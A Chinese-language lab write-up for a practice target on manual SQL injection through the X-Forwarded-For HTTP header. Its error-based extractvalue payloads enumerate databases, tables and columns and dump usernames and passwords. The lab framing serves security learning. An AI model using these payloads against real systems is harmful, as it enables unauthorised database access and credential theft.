墨者学院-HTTP头注入漏洞测试(X-Forwarded-for)-手工注入
一、审题
这题从题目,也可以看放包后的回显可以知道是http头的ip注入,尝试(题目有说)x-forwarded-for(这里的注入我很难主动想到,因为在原始的http头里没有x-forwarded-for,这题是题目有提醒)
二、判断类型
使用brupsuit抓包,repeater后添加XFF头 ——X-Forwarded-For:
通过修改X-Forwarded-For:值来找出注入点。
当值为"(双引号)时,X-Forwarded-For:" 不报错;
当值为‘’(单引号)时,X-Forwarded-For:’ 报错; (测试后,使用#,–+,%23都不可以注释掉后面的 ’ )
可知XFF头存在注入点。接下来判断注入类型。
既然不可以注释点后面的 ’ ,那就在加一个点 ’ 使其闭合。
通过1=1和1=2明确可以知道不是数字型注入,应该是字符型注入
(由此可知,一道sql注入题可能是多个类型注入结合起来的,要多方面尝试。)
由此采用字符型注入:
X-Forwarded-For:127.0.0.1’ [在这里写语句] and ‘1’='1
这里引号’ 前面的127.0.0.1可以随便写,参考网上大佬的写法,就这样写了,也可以不写,如第一张图所示。*
三、进行函数选择
这题用尝试用 orderby 、union select 等等都报错,不能使用。多方查找,参考网上一位大佬经验,采用 报错函数extratctvalue(一句话原理:路径不合法就报错,构造错误路径格式让信息通过错误提示回显出来)
报错注入也是基于有回显错误信息的一种,只不过构造的payload一般是基于特定函数,根据函数的规则使其报错并利用这个报错的回显特点,让报错的内容为我们想要获取的数据库内容。
直接开始注入
1爆库
x-forwarded-for:127.0.0.1’ and extractvalue(null,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata ),0x7e)) and ‘1’=‘1 //该语句爆出所有数据库;
x-forwarded-for:127.0.0.1’ and extractvalue(null,concat(0x7e,(select database()),0x7e)) and ‘1’='1//该语句直接爆出当前数据库;
从这里也可以看出,上面构造的语句
x-forwarded-for:127.0.0.1’ and extractvalue(null,concat(0x7e,(select database()),0x7e)) and ‘1’=‘1
可以简化为
x-forwarded-for:127.0.0.1’ and extractvalue(null,concat(0x7e,(select database()))) and ‘1’='1
null的地方可以是其他字符,比如可以换成1
concat函数不可以换成concat_ws函数,换成它后,database()不起作用,不知为什么
2爆表
x-forwarded-for:127.0.0.1’ and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘webcalendar’),0x7e)) and ‘1’='1
3爆列
x-forwarded-for:127.0.0.1’ and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘user’),0x7e)) and ‘1’='1
4爆字段
x-forwarded-for:127.0.0.1’ and extractvalue(null,concat(0x7e,(select group_concat(username,password) from user),0x7e)) and ‘1’='1
账号密码就出来了
此题用sqlmap操作更加简单。